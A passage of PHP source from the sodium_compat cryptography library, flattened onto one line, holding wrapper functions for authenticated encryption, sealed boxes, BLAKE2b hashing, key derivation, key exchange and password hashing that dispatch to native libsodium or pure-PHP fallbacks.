TRUE if authenticated, FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth_verify($mac, $message, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_auth_verify($mac, $message, $key); } if (self::use_fallback('crypto_auth_verify')) { return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key); } return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key); } /** * Authenticated asymmetric-key encryption. Both the sender and recipient * may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305. * X25519: Elliptic-Curve Diffie Hellman over Curve25519. * XSalsa20: Extended-nonce variant of salsa20. * Poyl1305: Polynomial MAC for one-time message authentication. * * @param string $plaintext The message to be encrypted * @param string $nonce A Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and your recipient's public key * @return string Ciphertext with 16-byte Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box($plaintext, $nonce, $keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box($plaintext, $nonce, $keypair); } if (self::use_fallback('crypto_box')) { return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair); } /** * Anonymous public-key encryption. Only the recipient may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box. * The sender's X25519 keypair is ephemeral. * Nonce is generated from the BLAKE2b hash of both public keys. * * This provides ciphertext integrity. * * @param string $plaintext Message to be sealed * @param string $publicKey Your recipient's public key * @return string Sealed message that only your recipient can * decrypt * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_seal($plaintext, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seal($plaintext, $publicKey); } if (self::use_fallback('crypto_box_seal')) { return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey); } return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey); } /** * Opens a message encrypted with crypto_box_seal(). Requires * the recipient's keypair (sk || pk) to decrypt successfully. * * This validates ciphertext integrity. * * @param string $ciphertext Sealed message to be opened * @param string $keypair Your crypto_box keypair * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_seal_open($ciphertext, $keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_seal_open($ciphertext, $keypair); } if (self::use_fallback('crypto_box_seal_open')) { return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair); } return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair); } /** * Generate a new random X25519 keypair. * * @return string A 64-byte string; the first 32 are your secret key, while * the last 32 are your public key. crypto_box_secretkey() * and crypto_box_publickey() exist to separate them so you * don't accidentally get them mixed up! * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair() { if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair(); } if (self::use_fallback('crypto_box_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair(); } return ParagonIE_Sodium_Crypto::box_keypair(); } /** * Combine two keys into a keypair for use in library methods that expect * a keypair. This doesn't necessarily have to be the same person's keys. * * @param string $secretKey Secret key * @param string $publicKey Public key * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } /** * Decrypt a message previously encrypted with crypto_box(). * * @param string $ciphertext Encrypted message * @param string $nonce Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and the sender's public key * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_open($ciphertext, $nonce, $keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_open($ciphertext, $nonce, $keypair); } if (self::use_fallback('crypto_box_open')) { return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair); } /** * Extract the public key from a crypto_box keypair. * * @param string $keypair Keypair containing secret and public key * @return string Your crypto_box public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey($keypair); } if (self::use_fallback('crypto_box_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey($keypair); } return ParagonIE_Sodium_Crypto::box_publickey($keypair); } /** * Calculate the X25519 public key from a given X25519 secret key. * * @param string $secretKey Any X25519 secret key * @return string The corresponding X25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey_from_secretkey($secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_box_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey); } /** * Extract the secret key from a crypto_box keypair. * * @param string $keypair * @return string Your crypto_box secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_secretkey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_secretkey($keypair); } if (self::use_fallback('crypto_box_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_secretkey($keypair); } return ParagonIE_Sodium_Crypto::box_secretkey($keypair); } /** * Generate an X25519 keypair from a seed. * * @param string $seed * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress UndefinedFunction */ public static function crypto_box_seed_keypair($seed) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seed_keypair($seed); } if (self::use_fallback('crypto_box_seed_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed); } return ParagonIE_Sodium_Crypto::box_seed_keypair($seed); } /** * Calculates a BLAKE2b hash, with an optional key. * * @param string $message The message to be hashed * @param string|null $key If specified, must be a string between 16 * and 64 bytes long * @param int $length Output length in bytes; must be between 16 * and 64 (default = 32) * @return string Raw binary * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash($message, $key = '', $length = self::CRYPTO_GENERICHASH_BYTES) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_generichash($message, $key, $length); } if (self::use_fallback('crypto_generichash')) { return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length); } return ParagonIE_Sodium_Crypto::generichash($message, $key, $length); } /** * Get the final BLAKE2b hash output for a given context. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * @param int $length Hash output size. * @return string Final BLAKE2b hash. * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation * @psalm-suppress ConflictingReferenceConstraint */ public static function crypto_generichash_final(&$ctx, $length = self::CRYPTO_GENERICHASH_BYTES) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_final($ctx, $length); } if (self::use_fallback('crypto_generichash_final')) { $func = '\\Sodium\\crypto_generichash_final'; return (string) $func($ctx, $length); } if ($length < 1) { try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return ''; } if (PHP_INT_SIZE === 4) { $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length); } else { $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length); } try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return $result; } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init($key = '', $length = self::CRYPTO_GENERICHASH_BYTES) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_init($key, $length); } if (self::use_fallback('crypto_generichash_init')) { return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init($key, $length); } return ParagonIE_Sodium_Crypto::generichash_init($key, $length); } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @param string $salt Salt (up to 16 bytes) * @param string $personal Personalization string (up to 16 bytes) * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init_salt_personal( $key = '', $length = self::CRYPTO_GENERICHASH_BYTES, $salt = '', $personal = '' ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4); $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT); $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT); /* Input validation: */ if (!empty($key)) { /* if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } */ if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal); } return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal); } /** * Update a BLAKE2b hashing context with additional data. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * $ctx is passed by reference and gets updated in-place. * @param-out string $ctx * @param string $message The message to append to the existing hash state. * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation */ public static function crypto_generichash_update(&$ctx, $message) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); if (self::useNewSodiumAPI()) { sodium_crypto_generichash_update($ctx, $message); return; } if (self::use_fallback('crypto_generichash_update')) { $func = '\\Sodium\\crypto_generichash_update'; $func($ctx, $message); return; } if (PHP_INT_SIZE === 4) { $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message); } else { $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message); } } /** * @return string * @throws Exception * @throws Error */ public static function crypto_generichash_keygen() { return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES); } /** * @param int $subkey_len * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws SodiumException */ public static function crypto_kdf_derive_from_key( $subkey_len, $subkey_id, $context, $key ) { ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); $subkey_id = (int) $subkey_id; $subkey_len = (int) $subkey_len; $context = (string) $context; $key = (string) $key; if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) { throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN'); } if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) { throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX'); } if ($subkey_id < 0) { throw new SodiumException('subkey_id cannot be negative'); } if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) { throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) { throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes'); } $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id); $state = self::crypto_generichash_init_salt_personal( $key, $subkey_len, $salt, $context ); return self::crypto_generichash_final($state, $subkey_len); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_kdf_keygen() { return random_bytes(self::CRYPTO_KDF_KEYBYTES); } /** * Perform a key exchange, between a designated client and a server. * * Typically, you would designate one machine to be the client and the * other to be the server. The first two keys are what you'd expect for * scalarmult() below, but the latter two public keys don't swap places. * * | ALICE | BOB | * | Client | Server | * |--------------------------------|-------------------------------------| * | shared = crypto_kx( | shared = crypto_kx( | * | alice_sk, | bob_sk, | <- contextual * | bob_pk, | alice_pk, | <- contextual * | alice_pk, | alice_pk, | <----- static * | bob_pk | bob_pk | <----- static * | ) | ) | * * They are used along with the scalarmult product to generate a 256-bit * BLAKE2b hash unique to the client and server keys. * * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @param bool $dontFallback * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_kx($my_secret, $their_public, $client_public, $server_public, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_kx')) { return (string) sodium_crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (self::use_fallback('crypto_kx')) { return (string) call_user_func( '\\Sodium\\crypto_kx', $my_secret, $their_public, $client_public, $server_public ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } return ParagonIE_Sodium_Crypto::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } /** * @param string $seed * @return string * @throws SodiumException */ public static function crypto_kx_seed_keypair($seed) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); $seed = (string) $seed; if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) { throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes'); } $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @return string * @throws Exception */ public static function crypto_kx_keypair() { $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @param string $keypair * @param string $serverPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_client_session_keys($keypair, $serverPublicKey) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2); $keypair = (string) $keypair; $serverPublicKey = (string) $serverPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey)); self::crypto_generichash_update($h, $pk); self::crypto_generichash_update($h, $serverPublicKey); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $keypair * @param string $clientPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_server_session_keys($keypair, $clientPublicKey) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2); $keypair = (string) $keypair; $clientPublicKey = (string) $clientPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey)); self::crypto_generichash_update($h, $clientPublicKey); self::crypto_generichash_update($h, $pk); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_secretkey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, 0, self::CRYPTO_KX_SECRETKEYBYTES ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_publickey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, self::CRYPTO_KX_SECRETKEYBYTES, self::CRYPTO_KX_PUBLICKEYBYTES ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $alg * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg = null) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { if (!is_null($alg)) { ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6); return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg); } return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash')) { return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str($passwd, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash_str')) { return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * Do we need to rehash this password? * * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * @throws SodiumException */ public static function crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1); 